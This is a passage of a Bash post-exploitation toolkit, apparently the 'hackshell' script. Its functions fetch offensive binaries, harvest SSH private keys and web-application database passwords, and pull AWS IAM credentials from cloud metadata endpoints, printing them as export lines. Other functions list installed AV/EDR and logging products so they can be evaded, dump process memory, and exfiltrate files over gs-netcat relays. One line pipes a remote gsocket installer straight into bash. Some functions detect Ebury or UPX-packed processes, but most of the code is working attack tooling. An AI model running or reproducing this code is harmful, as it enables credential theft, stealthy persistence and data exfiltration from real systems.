DBIN_CACHEDIR="${cdir}" DBIN_TRACKERFILE="${cdir}/tracker.json" DBIN_INSTALL_DIR="${XHOME}" "${XHOME}/dbin" "$@" && {
hs_init_alias_reinit
}
[ $# -eq 0 ] && { HS_INFO "Example: ${CDC}dbin install nmap"; }
}
# soar add => Add file to SOAR_ROOT
# soar dl => Download to current directory
xsoar() {
hs_mkxhome
export SOAR_ROOT="${XHOME}"
# Some static bins, like nmap and bpftrace, come as appimage. This will
# stop them being mounted as fuse (which is very visible to the admin) and instead
# extract and run.
APPIMAGE_EXTRACT_AND_RUN=1
RUNTIME_EXTRACT_AND_RUN=1
[ ! -f "${XHOME}/bin/soar" ] && {
dl "https://github.com/pkgforge/soar/releases/download/nightly/soar-${HS_ARCH}-linux" >"${XHOME}/bin/soar" || return
chmod 755 "${XHOME}/bin/soar"
\soar sync
}
{ [ "$1" == "dl" ] || [ "$1" == "add" ] || [ "$1" == "run" ]; } && { \soar "$@"; return; }
# if no command given, then output directly.
( cd "${XHOME}/bin" && \soar dl "$@" )
}
alias soar="xsoar"
bin_dl() {
local dst="${XHOME}/${1:?}"
local str="${CDM}Downloading ${CDC}${1:?}${CDM}........................................"
local is_skip
# dl a single binary (not "all").
[ -n "$single" ] && {
[ -n "$_HS_SINGLE_MATCH" ] && return # already tried to download
[ "$single" != "$1" ] && { unset _HS_SINGLE_MATCH; return; }
_HS_SINGLE_MATCH=1
}
echo -en "${str:0:64}"
[ -s "${dst}" ] || rm -f "${dst:?}" 2>/dev/null
[ -z "$FORCE" ] && which "${1}" &>/dev/null && is_skip=1
[ -n "$FORCE" ] && [ -s "$dst" ] && is_skip=1
[ -n "$is_skip" ] && { echo -e "[${CDY}SKIPPED${CDM}]${CN}"; return 0; }
{ err=$(dl "${2:?}" 2>&1 >&3 3>&-); } >"${dst}" 3>&1 || {
rm -f "${dst:?}" 2>/dev/null
if [ -z "$UNSAFE" ] && [[ "$err" == *"$_HS_SSL_ERR"* ]]; then
echo -e ".[${CR}FAILED${CDM}]${CN}${CF}\n---> ${2}\n---> ${err}\n---> Try ${CDC}export UNSAFE=1${CN}"
else
echo -e ".[${CR}FAILED${CDM}]${CN}${CF}\n---> ${2}\n---> ${err}${CN}"
[[ "$err" == *"404"* ]] && echo -e "${CDG}${CF}---> Ask https://github.com/pkgforge/bin/issues to add${CN}"
fi
return 255
}
chmod 711 "${dst}"
echo -e ".....[${CDG}OK${CDM}]${CN}"
}
# Binary list are available from here:
# - https://meta.pkgforge.dev/bincache/x86_64-Linux.json
# - https://meta.pkgforge.dev/pkgcache/x86_64-Linux.json
# The binaries are "somehow" accessible from here:
# - https://pkgs.pkgforge.dev/ (must check each repo individually to find the binary).
# The GitHub page is here (no binaries. Only build scripts)::
# - https://github.com/pkgforge
_bin_single() {
local single="${1}" # might be empty "".
unset _HS_SINGLE_MATCH
# bin_dl anew "https://bin.pkgforge.dev/${HS_ARCH}/anew-rs" # fuck anew-rs, it needs argv[1] and is not compatible.
bin_dl anew "https://bin.pkgforge.dev/${HS_ARCH}/anew"
bin_dl awk "https://bin.pkgforge.dev/${HS_ARCH}/gawk"
# bin_dl awk "https://bin.pkgforge.dev/${HS_ARCH}/awk"
bin_dl base64 "https://bin.pkgforge.dev/${HS_ARCH}/base64"
bin_dl busybox "https://bin.pkgforge.dev/${HS_ARCH}/busybox"
bin_dl curl "https://bin.pkgforge.dev/${HS_ARCH}/curl"
#bin_dl dbin "https://bin.pkgforge.dev/${HS_ARCH}/dbin"
bin_dl dbin "https://github.com/xplshn/dbin/releases/latest/download/dbin_${HS_ARCH_ALT}"
# export DBIN_INSTALL_DIR="${XHOME}"
bin_dl fd "https://bin.pkgforge.dev/${HS_ARCH}/fd-find"
# bin_dl fd "https://github.com/orgs/pkgforge/packages/container/package/bincache/fd/official/fd-find"
bin_dl gost "https://bin.pkgforge.dev/${HS_ARCH}/gost"
bin_dl gs-netcat "https://github.com/hackerschoice/gsocket/releases/latest/download/gs-netcat_${os,,}-${HS_ARCH}"
# bin_dl gs-netcat "https://bin.pkgforge.dev/${HS_ARCH}/gs-netcat" #fetched straight from https://github.com/hackerschoice/gsocket (avoid GH ratelimit)
# bin_dl grep "https://bin.pkgforge.dev/${HS_ARCH}/grep"
bin_dl gzip "https://bin.pkgforge.dev/${HS_ARCH}/gzip"
bin_dl hexdump "https://bin.pkgforge.dev/${HS_ARCH}/hexdump"
bin_dl jq "https://bin.pkgforge.dev/${HS_ARCH}/jq"
# bin_dl nc "https://bin.pkgforge.dev/${HS_ARCH}/Baseutils/netcat/netcat" #: https://www.libressl.org/
bin_dl nc "https://bin.pkgforge.dev/${HS_ARCH}/ncat"
bin_dl netstat "https://bin.pkgforge.dev/${HS_ARCH}/netstat"
bin_dl nmap "https://bin.pkgforge.dev/${HS_ARCH}/nmap"
bin_dl noseyparker "https://bin.pkgforge.dev/${HS_ARCH}/noseyparker"
# [ "$arch" = "x86_64" ] && bin_dl noseyparker "https://github.com/hackerschoice/binary/raw/main/tools/noseyparker-x86_64-static"
bin_dl openssl "https://bin.pkgforge.dev/${HS_ARCH}/openssl"
bin_dl ping "https://bin.pkgforge.dev/${HS_ARCH}/ping"
bin_dl ps "https://bin.pkgforge.dev/${HS_ARCH}/ps"
bin_dl reptyr "https://bin.pkgforge.dev/${HS_ARCH}/reptyr"
bin_dl rg "https://bin.pkgforge.dev/${HS_ARCH}/ripgrep"
bin_dl rsync "https://bin.pkgforge.dev/${HS_ARCH}/rsync"
bin_dl script "https://bin.pkgforge.dev/${HS_ARCH}/script"
bin_dl sed "https://bin.pkgforge.dev/${HS_ARCH}/sed"
bin_dl socat "https://bin.pkgforge.dev/${HS_ARCH}/socat"
bin_dl strace "https://bin.pkgforge.dev/${HS_ARCH}/strace"
bin_dl tar "https://bin.pkgforge.dev/${HS_ARCH}/tar"
bin_dl tcpdump "https://bin.pkgforge.dev/${HS_ARCH}/tcpdump"
# bin_dl vi "https://bin.pkgforge.dev/${HS_ARCH}/vi"
bin_dl vim "https://bin.pkgforge.dev/${HS_ARCH}/vim"
bin_dl zapper "https://github.com/hackerschoice/zapper/releases/latest/download/zapper-${os,,}-${HS_ARCH}"
bin_dl zgrep "https://bin.pkgforge.dev/${HS_ARCH}/zgrep"
{ [ -z "$single" ] || [ "$single" == "busybox" ]; } && {
# Only create busybox-bins for bins that do not yet exist.
busybox --list | while read -r fn; do
command -v "$fn" >/dev/null && continue
[ -e "${XHOME}/${fn}" ] && continue
ln -s "busybox" "${XHOME}/${fn}"
done
}
[ -n "$single" ] && [ -z "$_HS_SINGLE_MATCH" ] && {
local str="${single##*/}"
local loc="${single}"
[ "$str" == "cme" ] && HS_WARN "CME is obsolete. Try ${CDC}bin netexec${CN}"
[ "$str" == "crackmapexec" ] && HS_WARN "CrackMapExec is obsolete. Try ${CDC}bin netexec${CN}"
bin_dl "${str}" "https://bin.pkgforge.dev/${HS_ARCH}/${loc}"
}
}
bin() {
local os
local optsstr="$*"
hs_mkxhome
os="$(uname -s)"
[ -z "$os" ] && os="Linux"
if [ $# -eq 0 ]; then
_bin_single # install all
[ -z "$FORCE" ] && echo -e ">>> Use ${CDC}FORCE=1 bin${CN} to download all"
echo -e ">>> Use ${CDC}bin <name>${CN} to download a specific binary"
else
while [ $# -gt 0 ]; do
FORCE=1 _bin_single "$1"
shift 1
done
fi
{ [[ "$optsstr" == *"zapper"* ]] || [[ -z "$optsstr" ]]; } && echo -e ">>> ${CW}TIP${CN}: Type ${CDC}zapme${CN} to hide all command line options\n>>> from your current shell and all further processes."
# echo -e ">>> ${CDG}Download COMPLETE${CN}"
unset _HS_SINGLE_MATCH
hs_init_alias_reinit
}
loot_sshkey() {
local str
local fn="${1}"
[ ! -s "${fn}" ] && return
grep -Fqam1 'PRIVATE KEY' "${fn}" || return
if [ -n "$_HS_SETSID_WAIT" ]; then
str=" ${CF}password protected"
setsid -w ssh-keygen -y -f "${fn}" </dev/null &>/dev/null && str=" ${CDR}NO PASSWORD"
else
grep -Fqam1 'ENCRYPTED' "${fn}" && str=" ${CF}password protected"
fi
echo -e "${CB}SSH-Key ${CDY}${fn}${CN}${str}${CDY}${CF}"
cat "$fn"
echo -en "${CN}"
}
loot_gitlab() {
local fn="${1:?}"
local str
[ ! -f "$fn" ] && return
str="$(grep -i "${_HS_GREP_COLOR_NEVER[@]}" ^psql "${fn}")"
[ -z "$str" ] && return
echo -e "${CB}GitLab-DB ${CDY}${fn}${CF}"
echo "$str"
echo -en "${CN}"
}
loot_bitrix() {
local fn="${1:?}"
local str
[ ! -f "$fn" ] && return
grep -Fqam1 '$_ENV[' "$fn" && return
# 'password' => 'abcd',
# $DBPassword = 'abcd';
str="$(grep -i "${_HS_GREP_COLOR_NEVER[@]}" -E '(host|database|DBName|login|Password).*=.* ["'"'"']' "${fn}" | sed 's/\s*//g')"
[ -z "$str" ] && return
echo -e "${CB}Bitrix-DB ${CDY}${fn}${CF}"
echo "$str"
echo -en "${CN}"
}
_loot_wp() {
local fn="${1:?}"
local str
[ ! -f "$fn" ] && return
str="$(grep -v ^# "$fn" | grep -E "DB_(NAME|USER|PASSWORD|HOST)")"
[[ "$str" == *"_here"* ]] && return
echo -e "${CB}WordPress-DB ${CDY}${fn}${CF}"
echo "${str}"
echo -en "${CN}"
}
# _loot_home <NAME> <filename> <cmd> <...>
_loot_homes() {
local fn hn str
local name="${1:-CREDS}"
local fname="${2:?}"
shift 1
shift 1
[ $# -le 0 ] && set -- cat
for hn in "${HOMEDIRARR[@]}"; do
fn="${hn}/${fname}"
[ ! -s "$fn" ] && continue
# Remove "empty" lines. Non-GNU:
str="$("$@" "$fn" 2>/dev/null | sed '/^[[:space:]]*$/d')"
[ -z "$str" ] && continue
echo -e "${CB}${name} ${CDY}${fn}${CF}"
echo "$str"
echo -en "${CN}"
done
}
_loot_openstack() {
local str
local rv
[ -n "$_HS_NOT_OPENSTACK" ] && return
[ -n "$_HS_NO_SSRF_169" ] && return
[ -n "$_HS_GOT_SSRF_169" ] && return
str="$(timeout "${HS_TO_OPTS[@]}" 4 bash -c "$(declare -f dl);dl 'http://169.254.169.254/openstack/latest/user_data'" 2>/dev/null)" || {
rv="$?"
{ [ "${rv}" -eq 124 ] || [ "${rv}" -eq 7 ]; } && _HS_NO_SSRF_169=1
unset str
}
[ -z "$str" ] && {
_HS_NOT_OPENSTACK=1
return 255
}
_HS_GOT_SSRF_169=1
echo -e "${CB}OpenStack user_data${CDY}${CF}"
echo "$str"
echo -en "${CN}"
[ -z "$QUIET" ] && echo -e "${CW}TIP: ${CDC}"'dl "http://169.254.169.254/openstack/latest/meta_data.json" | jq -r'"${CN}"
}
_loot_aws2var() {
local v="$(echo "$1" | grep -Fim1 "\"$2\"")"
v="${v#* : \"}"
v="${v%%\"*}"
[ -z "$v" ] && return 255
echo "$v"
}
# FIXME: Search through environment variables of all running processes.
# FIXME: Implement GCP & Digital Ocean. See https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
# https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/
_loot_aws() {
local str
local TOKEN
local role
local rv
[ -n "$_HS_NOT_AWS" ] && return
[ -n "$_HS_NO_SSRF_169" ] && return
[ -n "$_HS_GOT_SSRF_169" ] && return
command -v curl >/dev/null || return # AWS always has curl
str="$(timeout "${HS_TO_OPTS[@]}" 4 curl -SsfL -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 60" 2>/dev/null)" || {
rv="$?"
{ [ "${rv}" -eq 124 ] || [ "${rv}" -eq 7 ]; } && _HS_NO_SSRF_169=1
unset str
}
[ -z "$str" ] && {
_HS_NOT_AWS=1
return 255
}
TOKEN="$str"
_HS_GOT_SSRF_169=1
str="$(curl -SsfL -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/user-data 2>/dev/null)"
[ -n "$str" ] && [[ "$str" != *Lightsail* ]] && {
echo -e "${CB}AWS user-data (config)${CDY}${CF}"
echo "$str"
echo -en "${CN}"
}
str="$(curl -SsfL -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance 2>/dev/null)" || unset str
[ -n "$str" ] && {
echo -e "${CB}AWS EC2 Security Credentials${CDY}${CF}"
echo "$str"
[ -z "$QUIET" ] && {
echo -en "${CDC}"
role="$(_loot_aws2var "$str" AccessKeyId)" && echo "export AWS_ACCESS_KEY_ID=${role}"
role="$(_loot_aws2var "$str" SecretAccessKey)" && echo "export AWS_SECRET_ACCESS_KEY=${role}"
role="$(_loot_aws2var "$str" Token)" && echo "export AWS_SESSION_TOKEN='${role}'"
echo -e "${CW}TIP:${CN} See ${CB}${CUL}https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/${CN}"
}
echo -en "${CN}"
}
str="$(curl -SsfL -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null)" || unset str
[ -n "$str" ] && {
for role in $str; do
echo -e "${CB}AWS IAM Role${CDY} ${role}${CF}"
curl -SsfL -H "X-aws-ec2-metadata-token: $TOKEN" "http://169.254.169.254/latest/meta-data/iam/security-credentials/$role"
echo -e "${CN}"
done
}
}
_loot_yandex() {
local str
local rv
[ -n "$_HS_NOT_YC" ] && return
[ -n "$_HS_NO_SSRF_169" ] && return
[ -n "$_HS_GOT_SSRF_169" ] && return
str="$(timeout "${HS_TO_OPTS[@]}" 4 bash -c "$(declare -f dl);dl 'http://169.254.169.254/latest/user-data'" 2>/dev/null)" || {
rv="$?"
{ [ "${rv}" -eq 124 ] || [ "${rv}" -eq 7 ]; } && _HS_NO_SSRF_169=1
unset str
}
[ -z "$str" ] && {
_HS_NOT_YC=1
return 255
}
_HS_GOT_SSRF_169=1
echo -e "${CB}Yandex Cloud user-data (config)${CDY}${CF}"
echo "$str"
echo -en "${CN}"
[ -z "$QUIET" ] && echo -e "${CW}TIP: ${CDC}curl -SsfL 'http://169.254.169.254/computeMetadata/v1/instance/?alt=text&recursive=true' -H 'Metadata-Flavor:Google'${CN}"
}
# make GS-NETCAT command available if logged in via GSNC.
gsnc() {
[ -z "$GSNC" ] && return 255
# _GS_ALLOWNOARG=1 "$GSNC" "$@"
_GS_ALLOWNOARG=1 GS_ARGS="$*" "$GSNC"
}
# Show the GSNC config.
gsconfig() {
GS_CONFIG_CHECK=1 GS_CONFIG_READ= gsnc || return
echo "GS_CONFIG_BIN='$GSNC'"
}
command -v gs-netcat >/dev/null || gs-netcat() { gsnc "$@"; }
gsinst() {
local b
[ -n "$BRANCH" ] && b="${BRANCH}/"
dl https://gsocket.io/${b}y | bash
}
# https://github.com/hackerschoice/hackshell/issues/6
_warn_edr() {
local fns s out
fns=()
_hs_chk_systemd() { systemctl is-active "${1:?}" &>/dev/null && out+="${2:?}: systemctl status $1"$'\n';}
_hs_chk_fn() { { [ -z "${1}" ] || [ ! -e "${1:?}" ]; } && return; fns+=("${1:?}"); out+="${2:?}: $1"$'\n';}
_hs_chk_fn "/usr/lib/Acronis" "Acronis Cyber Protect"
_hs_chk_fn "/etc/aide/aide.conf" "Advanced Intrusion Detection Environment (AIDE)"
_hs_chk_fn "/etc/init.d/avast" "Avast"
_hs_chk_fn "/var/lib/avast/Setup/avast.vpsupdate" "Avast"
_hs_chk_fn "/etc/init.d/avgd" "AVG"
_hs_chk_fn "/opt/avg" "AVG"
_hs_chk_fn "/var/log/checkpoint" "Checkpoint"
# This is so old and wont find any modern rootkits.
_hs_chk_fn "/etc/chkrootkit" "chkrootkit [chkrootkit -q]"
_hs_chk_fn "/opt/cisco/amp/bin/ampcli" "Cisco Secure Endpoint"
_hs_chk_fn "/etc/clamd.d/scan.conf" "ClamAV"
_hs_chk_fn "$(command -v clamscan)" "ClamAV"
_hs_chk_fn "/etc/freshclam.conf" "ClamAV"
_hs_chk_fn "/usr/local/cloudmonitor/bin/argusagent" "CloudAgent"
_hs_chk_fn "/opt/COMODO" "Comodo AV"
_hs_chk_fn "/opt/CrowdStrike" "CrowdShite"
_hs_chk_fn "/opt/cyberark" "CyberArk"
_hs_chk_fn "/opt/360sdforcnos" "EDR ?"
_hs_chk_fn "/etc/filebeat" "Filebeat (not AV/EDR, but used to ship logs)"
_hs_chk_fn "/opt/fireeye" "FireEye/Trellix EDR"
_hs_chk_fn "/opt/isec" "FireEye/Trellix Endpoint Security"
_hs_chk_fn "/opt/McAfee" "FireEye/McAfee/Trellix Agent"
_hs_chk_fn "/opt/Trellix" "FireEye/McAfee/Trellix SIEM Collector"
_hs_chk_fn "/etc/fluent-bit" "Fluent Bit Log Collector"
_hs_chk_fn "/opt/FortiEDRCollector" "Fortinet FortiEDR"
_hs_chk_fn "/opt/fortinet/fortisiem" "Fortinet FortiSIEM"
_hs_chk_fn "/etc/init.d/fortisiem-linux-agent" "Fortinet FortiSIEM"
_hs_chk_fn "/usr/bin/ada" "Group-iB Advanced Detection Analysis"
_hs_chk_fn "/usr/bin/linep" "Group-iB XDR Endpoint Agent"
_hs_chk_fn "/usr/local/bin/intezer-analyze" "Intezer"
_hs_chk_fn "/opt/kaspersky" "Kaspersky"
_hs_chk_fn "/etc/init.d/kics" "Kaspersky Industrial CyberSecurity"
_hs_chk_fn "/usr/local/rocketcyber" "Kseya RocketCyber"
_hs_chk_fn "/etc/init.d/limacharlie" "LimaCharlie Agent"
_hs_chk_fn "/etc/logrhythm" "LogRhythm Axon"
_hs_chk_fn "/bin/logrhythm" "LogRhythm Axon"
_hs_chk_fn "opt/logrhythm/scsm" "LogRhythm System Monitor"
_hs_chk_fn "/etc/init.d/scsm" "LogRhythm System Monitor"
_hs_chk_fn "/var/pt" "PT Swarm"
_hs_chk_fn "/usr/local/qcloud/tat_agent/" "Qcloud"
_hs_chk_fn "/usr/local/qualys" "Qualys EDR Cloud Agent"
_hs_chk_fn "/etc/init.d/qualys-cloud-agent" "Qualys EDR Cloud Agent"
_hs_chk_fn "/etc/rkhunter.conf" "RootKit Hunter [rkhunter -c -l /dev/shm/.rk --sk --nomow --rwo; rm -f /dev/shm/.rk]"
_hs_chk_fn "$(command -v rkhunter)" "RootKit Hunter [rkhunter -c -l /dev/shm/.rk --sk --nomow --rwo; rm -f /dev/shm/.rk]"
_hs_chk_fn "/etc/safedog/sdsvrd.conf" "Safedog"
_hs_chk_fn "/etc/safedog/server/conf/sdsvrd.conf" "Safedog"
_hs_chk_fn "/sf/edr/agent/bin/edr_agent" "Sangfor EDR"
_hs_chk_fn "/opt/secureworks" "Secureworks"
_hs_chk_fn "/opt/sophos-av/" "Sophos Anti-Virus"
_hs_chk_fn "/opt/splunkforwarder" "Splunk"
_hs_chk_fn "/opt/SumoCollector" "Sumo Logic Cloud SIEM"
_hs_chk_fn "/etc/otelcol-sumo/sumologic.yaml" "Sumo Logic OTEL Collector"
_hs_chk_fn "/opt/Symantec" "Symantec EDR"
_hs_chk_fn "/etc/init.d/sisamdagent" "Symantec EDR"
_hs_chk_fn "/usr/lib/symantec/status.sh" "Symantec Linux Agent"
_hs_chk_fn "/opt/Tanium" "Tanium"
_hs_chk_fn "/opt/threatbook/OneAV" "threatbook.OneAV"
_hs_chk_fn "/usr/bin/oneav_start" "threatbook.OneAV"
_hs_chk_fn "/opt/threatconnect-envsvr/" "ThreatConnect"
_hs_chk_fn "/etc/init.d/threatconnect-envsvr" "ThreatConnect"
_hs_chk_fn "/titan/agent/agent_update.sh" "Titan Agent"
_hs_chk_fn "/etc/tripwire" "TripWire"
_hs_chk_fn "/etc/init.d/ds_agent" "Trend Micro Deep Instinct"
_hs_chk_fn "/opt/ds_agent/dsa" "Trend Micro Deep Security Agent"
_hs_chk_fn "/etc/init.d/splx" "Trend Micro Server Protect"
_hs_chk_fn "/etc/opt/f-secure" "WithSecure (F-Secure)"
_hs_chk_fn "/opt/f-secure" "WithSecure (F-Secure)"
[ "${#fns[@]}" -gt 0 ] && out+="$(\ls -alrtd "${fns[@]}")"$'\n'
[ -f "/etc/audit/audit.rules" ] && grep -v ^# "/etc/audit/audit.rules" | grep -Eqm1 '.{32,}' && _hs_chk_systemd "auditd" "Auditd [/etc/audit/rules.d]"
_hs_chk_systemd "avast" "Avast"
_hs_chk_systemd "bdsec" "Bitdefender EDR / GavityZone XDR"
_hs_chk_systemd "cylancesvc" "Blackberry cyPROTECT"
_hs_chk_systemd "cyoptics" "Blackberry cyOPTICS"
_hs_chk_systemd "cbsensor" "CarbonBlack"
_hs_chk_systemd "cpla" "Checkpoint"
_hs_chk_systemd "itsm" "Comodo Client Security"
_hs_chk_systemd "cloudmonitor" "Argus Cloud Agent"
_hs_chk_systemd "falcon-sensor" "CrowdStrike"
_hs_chk_systemd "epmd" "CyberArk"
_hs_chk_systemd "cybereason-sensor" "Cybereason"
_hs_chk_systemd "elastic-agent" "Elastic Security"
_hs_chk_systemd "sraagent" "ESET Endpoint Security"
_hs_chk_systemd "eraagent" "ESET Endpoint Security"
_hs_chk_systemd "eea" "ESET AV"
_hs_chk_systemd "eea-user-agent" "ESET AV agent"
_hs_chk_systemd "xagt" "FireEye/Trellix EDR"
_hs_chk_systemd "keeperx" "IBM QRADAR"
_hs_chk_systemd "kesl" "Kaspersky Endpoint Security"
_hs_chk_systemd "klnagent64" "Kaspersky Network Agent"
_hs_chk_systemd "kesl-supervisor" "Kaspersky Endpoint Security (Elbrus Edition)"
_hs_chk_systemd "kics" "Kaspersky Industrial CyberSecurity"
_hs_chk_systemd "kess" "Kaspersky Embedded Systems Security"
_hs_chk_systemd "rocketcyber" "Kseya RocketCyber"
_hs_chk_systemd "limacharlie" "LimaCharlie Agent"
_hs_chk_systemd "lr-agent.logrhythm" "LogRhythm Axon"
_hs_chk_systemd "MFEcma" "McAfee"
_hs_chk_systemd "mdatp" "MS defender"
_hs_chk_systemd "osqueryd" "OSQuery"
_hs_chk_systemd "traps_pmd" "Palo Alto Networks Cortex XDR"
_hs_chk_systemd "ir_agent" "Rapid7 INSIGHT IDR"
_hs_chk_systemd "armor" "Rapid7 NG AV"
_hs_chk_systemd "sophoslinuxsensor" "Sophos Intercept X"
_hs_chk_systemd "sophos-spl" "Sophos SPL"
_hs_chk_systemd "otelcol-sumo" "Sumo Logic OTEL Collector"
_hs_chk_systemd "ds_agent" "TrendMicro - Deep Instinct"
_hs_chk_systemd "titanagent" "Titanagent EDR"
_hs_chk_systemd "taniumclient" "Tanium"
_hs_chk_systemd "oneavd" "threatbook.OneAV"
_hs_chk_systemd "mbdaemon" "ThreatDown (MalwareBytes) Nebula EDR Agent"
_hs_chk_systemd "wazuh-agent" "Wazuh"
_hs_chk_systemd "emit_scand_service" "WithSecure (F-Secure) Elements Agent"
_hs_chk_systemd "f-secure-linuxsecurity-activate" "WithSecure (F-Secure) Elements Agent"
[ -n "$out" ] && {
echo -e "${CR}AV/EDR found ${CF}"
echo -n "$out"
echo -en "${CN}"
}
unset out
s="$(grep -v '^#' rsyslog.conf /etc/rsyslog.d/*.conf 2>/dev/null | grep -F ' @@')" && out="$s"$'\n'
[ -n "$out" ] && {
echo -e "${CR}Remote Logging detected${CF}"
echo -n "$out"
echo -en "${CN}"
}
unset out
selinuxenabled &>/dev/null && out+="SELinux is enabled [getenforce;getsebool -a;sestatus]"$'\n'
aa-status &>/dev/null && out+="AppArmor is enabled"$'\n'
grep -Fqam1 PaX /proc/self/status 2>/dev/null && out+="GrSec and PaX are enabled"$'\n'
[ -n "$out" ] && {
echo -e "${CR}Security Modules enabled${CF}"
echo -n "$out"
echo -en "${CN}"
}
[ -f /sys/kernel/debug/kprobes/list ] && out="$(</sys/kernel/debug/kprobes/list)" && [ -n "$out" ] && {
echo -e "${CR}kprobes found:${CF}"
echo "$out"
echo -en "${CN}"
}
unset -f _hs_chk_systemd _hs_chk_fn
}
_warn_upx_exe() {
local str pid
unset _HS_UPX_PIDS
for x in /proc/[123456789]*/exe; do
[ ! -e "$x" ] && continue
pid="${x:6}"
pid="${pid%%/*}"
[ "$pid" -le 300 ] && continue
dd bs=1k count=1 if="$x" 2>/dev/null | grep -Fqam1 'UPX!' && {
_HS_UPX_PIDS+=("${pid}")
str+="PID: $pid"$'\t'" $(stat -c '%U' "/proc/${pid}/exe")"$'\t'"$(strings /proc/${pid}/cmdline 2>/dev/null | tr '[\r\n]' ' ' | cut -c -${COLUMNS:-80})"$'\n'
}
done
[ -z "$str" ] && return
echo -e "${CR}UPX packed processes found:${CF}"
echo -en "${str}"$'\033[0m'
}
memdump() {
local pid="${1:?}"
local out x exe=$(readlink -f /proc/${pid}/exe 2>/dev/null)
exe="${exe##*/}"
cat "/proc/${pid}/maps" >${pid}_${exe}_maps.txt
grep -E "${2:-.}" "/proc/${pid}/maps" | cut -f1 -d" " | while read -r x; do
echo -e "${pid}\t ${exe}\t 0x${x%%-*}-0x${x##*-}"
out="${pid}_${exe}_${x%%-*}-${x##*-}"
gdb --batch --pid "$pid" "/proc/${pid}/exe" -ex "dump memory ${out} 0x${x%%-*} 0x${x##*-}" &>/dev/null
done
}
gs-exfil-server() {
_hs_dep gs-netcat
_hs_dep tar
local s=$(gs-netcat -g)
echo -e "Transfer files with: ${CDC}SECRET=${s} gs-exfil <files>${CN}"
while :; do
gs-netcat -s "$s" -lr | tar --same-owner --preserve-permissions -xzvf -
sleep 5
done
}
gs-exfil() {
_hs_dep gs-netcat
_hs_dep tar
[ -z "$SECRET" ] && {
echo -e >&2 "Usage: Execute ${CDC}gs-exfil-server${CN} on any server first."
return 255
}
tar -czvf - "$@" | gs-netcat -s "$SECRET"
}
gs-sftp-server() {
_hs_dep gs-netcat
[ -z "$GSNC" ] && GSNC=$(command -v gs-netcat 2>/dev/null) && [ -z "$GSNC"] && {
echo >&2 "gs-netcat not found."
return 255
}
local s=$(${GSNC} -g)
local sftp_fn="/usr/lib/sftp-server"
[ ! -x "$sftp_fn" ] && sftp_fn="/usr/lib/openssh/sftp-server"
[ ! -x "$sftp_fn" ] && sftp_fn="/usr/libexec/sftp-server"
[ ! -x "$sftp_fn" ] && {
HS_ERR "sftp-server not found."
return 255
}
echo -e "Connect with: ${CDC}SECRET='$s' ${GS_HOST:+GS_HOST=$GS_HOST }${GS_PORT:+GS_PORT=$GS_PORT }gs-sftp${CN}"
echo -e "${CF}or with : ${CDC}${CF}GS_ARGS='-s${s}' ${GS_HOST:+GS_HOST=$GS_HOST }${GS_PORT:+GS_PORT=$GS_PORT }sftp -D gs-netcat${CN}"
GSOCKET_NO_GREETINGS="1" GS_ARGS="-s${s}" ${GSNC} -l -e "$sftp_fn"
}
gs-sftp() {
_hs_dep sftp
[ -z "$GSNC" ] && GSNC=$(command -v gs-netcat 2>/dev/null) && [ -z "$GSNC"] && {
HS_ERR "gs-netcat not found."
return 255
}
[ -z "$SECRET" ] && {
echo -e >&2 "Usage: Execute ${CDC}gs-sftp-server${CN} on any server first."
return 255
}
GSOCKET_NO_GREETINGS="1" GS_ARGS="-s${SECRET}" sftp -D "$GSNC"
}
# <pid> <string-pattern>
# - on Read-only sections (.text, .rodata) of the process memory
# - Fixed string pattern match only
_hs_gdb_proc_match() {
local pid="${1:?}"
local pattern="${2:?}"
grep -F ' r-' <"/proc/${pid}/maps" | cut -f1 -d" " | while read -r x; do
gdb --batch --pid "$pid" "/proc/${pid}/exe" -ex "dump memory /dev/stdout 0x${x%%-*} 0x${x##*-}" 2>/dev/null | grep -Fqam1 "${pattern}" && {
echo "${pid:-BAD}"
return 0
}
done
}
# Send stdin to abstract unix domain socket and print response to stdout
# Alternative: socat - ABSTRACT-CONNECT:$(_ebsock)
_audsock() {
LANG=C perl -e 'use IO::Socket::UNIX;$n=shift||"";$n=~s/^@//;$p="\0".$n;$s=IO::Socket::UNIX->new(Peer=>$p,Type=>SOCK_STREAM)||die$!;binmode(STDIN);binmode(STDOUT);binmode($s);$fd=fileno($s);$w="";vec($w,$fd,1)=1;select(undef,$w,undef,undef);while(1){my$buf;my$r=sysread(STDIN,$buf,4096);die"read STDIN:$!"unless defined$r;last if$r==0;my$o=0;while($o<$r){my$w=syswrite($s,$buf,$r-$o,$o);die"write:$!"unless defined$w;$o+=$w}}shutdown($s,1);while(1){my$buf;my$r=sysread($s,$buf,4096);die"read sock:$!"unless defined$r;last if$r==0;print$buf}close$s;exit;' @"${1:?}"
}
# Determine the Ebury abstract unix domain socket
_ebsock() {
[ "${_HS_EBSOCK}" == "NA" ] && return
[ -n "${_HS_EBSOCK}" ] && {
echo "${_HS_EBSOCK}"
return
}
_HS_EBSOCK=$(grep -Eom1 '@(event-[a-zA-Z0-9]{10}|/dev/(event|stats)-[a-zA-Z0-9]{10}|UDEV-[a-zA-Z0-9]{8}|/run/systemd/log|/proc/udevd)' /proc/net/unix)
# /tmp/dbus-[a-zA-Z0-9]{10} can occur naturally so check that it's just 1.
[ -z "$_HS_EBSOCK" ] && _HS_EBSOCK=$(grep -E '@/tmp/dbus-[a-zA-Z0-9]{10}' /proc/net/unix | sed 's|.*@||g' | sort | uniq -c | grep " 1 " | awk '{print $2}' | head -n1)
[ -z "$_HS_EBSOCK" ] && {
_HS_EBSOCK="NA"
return
}
_HS_EBSOCK="${_HS_EBSOCK:1}"
echo "${_HS_EBSOCK}"
}
_detect_ebury() {
local st bin=$(readlink -f $(ldd -v $(PATH="${PATH}:/usr/sbin" command -v sshd 2>/dev/null) 2>/dev/null | grep -F 'keyutils' | awk '{print $3}' | head -n1) 2>/dev/null)
[ -n "$bin" ] && [ -f "$bin" ] && {
st=$(stat "${bin}")
rv=$(ls -l "${bin}")
rvdate=$(stat "${bin}" | grep Change | cut -f2-3 -d' ')
